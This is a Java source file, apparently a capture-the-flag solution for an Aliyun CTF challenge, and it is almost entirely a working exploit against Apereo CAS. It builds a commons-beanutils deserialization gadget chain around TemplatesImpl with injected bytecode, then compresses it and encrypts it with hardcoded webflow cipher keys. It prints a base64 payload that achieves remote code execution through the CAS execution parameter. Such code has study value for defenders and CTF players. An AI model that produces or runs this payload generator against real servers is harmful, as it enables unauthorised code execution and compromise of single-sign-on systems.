1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110
| package aliyunCTF_Easy_Cas; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xml.internal.serialize.Serializer; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import javassist.CannotCompileException; import javassist.ClassPool; import javassist.CtClass; import javassist.NotFoundException; import org.apereo.cas.util.cipher.WebflowConversationStateCipherExecutor; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; import java.util.PriorityQueue; import java.util.zip.GZIPOutputStream; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.commons.beanutils.BeanComparator;
import javax.crypto.spec.SecretKeySpec;
public class attackAeperoCas {
public static void setFieldValue(Object obj, String filedname, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(filedname); field.setAccessible(true); field.set(obj, value); }
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(test.class.getName()); byte[] code = clazz.toBytecode(); TemplatesImpl ti =new TemplatesImpl(); setFieldValue(ti,"_bytecodes",new byte[][]{code}); setFieldValue(ti, "_name", "eval"); final BeanComparator bc = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER); final PriorityQueue<Object> pq = new PriorityQueue<Object>(2,bc); pq.add("1"); pq.add("1"); setFieldValue(bc,"property","outputProperties"); setFieldValue(pq,"queue",new Object[]{ti,ti}); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(pq); oos.close();
byte[] skey = "CdsZkifxK9MfH9v0CJ-DJoEvJ3wPMNqUZ8AKoYFLSCwiQ4PGtuh90rN7-QzyaLdALxO3ZtNfgX_de7Pm7kd0Zg".getBytes(); byte[] ekey = new byte[]{56,62,-30,-91,93,25,105,-71,-92,-30,110,45,-27,44,89,-36}; SecretKeySpec enkey = new SecretKeySpec(ekey, "AES"); WebflowConversationStateCipherExecutor webflowConversationStateCipherExecutor = new WebflowConversationStateCipherExecutor(new String(ekey), new String(skey), "AES", 512, 16);
setfield(webflowConversationStateCipherExecutor, "encryptionKey", enkey);
System.out.println(Base64.getEncoder().encodeToString(webflowConversationStateCipherExecutor.encode(compressString(barr.toByteArray()))));
} public static byte[] compressString(byte[] data) { try (ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length); GZIPOutputStream gzipOS = new GZIPOutputStream(bos)) { gzipOS.write(data); gzipOS.close(); return bos.toByteArray(); } catch (IOException e) { e.printStackTrace(); return null; } } static public void setfield(Object targetObject, String fieldName, Object newValue) throws NoSuchFieldException { try { Class<?> currentClass = targetObject.getClass();
Field field = null; while (currentClass != null) { try { field = currentClass.getDeclaredField(fieldName); break; } catch (NoSuchFieldException e) { currentClass = currentClass.getSuperclass(); } } if (field == null) { throw new NoSuchFieldException("Field " + fieldName + " not found in class hierarchy"); } field.setAccessible(true); field.set(targetObject, newValue);
} catch (IllegalAccessException e) { e.printStackTrace(); } }
}
|